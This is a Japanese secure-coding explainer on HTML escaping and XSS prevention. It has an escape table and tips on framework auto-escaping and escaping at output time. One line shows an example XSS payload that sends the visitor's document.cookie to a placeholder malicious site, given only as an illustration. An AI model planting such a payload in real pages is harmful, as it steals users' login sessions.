HTMLエスケープ（サニタイズ）が必要な理由｜XSS攻撃を防ぐ基礎知識

セキュリティ Web開発 XSS
結論

「ユーザーからの入力はすべて悪意がある」と想定せよ。 や を や に変換することで、スクリプトの実行（XSS）を防ぐことができます。

HTMLエスケープの変換表

記号 エスケープ後の文字列
< &lt;
> &gt;
& &amp;
" &quot;
' &#39;

🛡️ この場でHTMLエスケープする

なぜエスケープしないと危険なのか？

掲示板などの入力フォームに以下のスクリプトを書き込まれたとします。

<script>location.href="http://悪意のあるサイト.com?cookie="+document.cookie</script>

これをそのままHTMLとして出力してしまうと、ページを訪れたユーザーのクッキー（ログイン情報など）が盗まれてしまいます。これがクロスサイトスクリプティング（XSS）の代表的な例です。

実装のポイント

  • 基本はフレームワークに任せる — React, Vue, Astro, Railsなどのモダンなフレームワークは、標準で出力を自動エスケープしてくれます。
  • 生出力を避ける — innerHTML や dangerousSetInnerHTML など、意図的にエスケープを外す関数を使う際は、細心の注意が必要です。
  • 入力時ではなく出力時に行う — データベースには生の値を保存し、ブラウザに表示する直前にエスケープするのが現在の一般的な設計です。

関連記事

この記事は 開発ツール・基礎 テーマの一環です。あわせて読むと理解が深まる関連記事をまとめました。

トピック記事
Base64とは？仕組みから使い方まで解説Base64とは？仕組みから使い方まで解説
Base64デコードで日本語が文字化けする原因と対処法Base64デコードで日本語が文字化けする原因と対処法
JSON 整形ツールの使い方JSON 整形ツールの使い方｜オンラインで安全に整形・圧縮
JSONの「Unexpected token」エラー原因と対処法JSONの「Unexpected token」エラー原因と対処法
ハッシュ生成 - SHA-256/384/512をローカルで安全に計算ハッシュ生成 - SHA-256/384/512をローカルで安全に計算
MD5 ハッシュ生成MD5 ハッシュ生成｜md5 hashの使い方の使い方と注意点まとめ実務ガイド実践ガイド
正規表現でよく使うパターン10選正規表現でよく使うパターン10選｜開発で役立つRegex
Markdown記法チートシートMarkdown記法チートシート｜コピペで使える一覧
Gitコマンドよく使う一覧Gitコマンドよく使う一覧｜初心者向けクイックリファレンス
Git Worktree 並行開発ワークフロー完全ガイドGit Worktree 並行開発ワークフロー完全ガイド｜複数ブランチ同時作業・IDE設定・CI連携（2026）
.envファイルのベストプラクティス.envファイルのベストプラクティス｜機密情報を安全に管理する
URLエンコード（パーセントエンコーディング）の使い方URLエンコード（パーセントエンコーディング）の使い方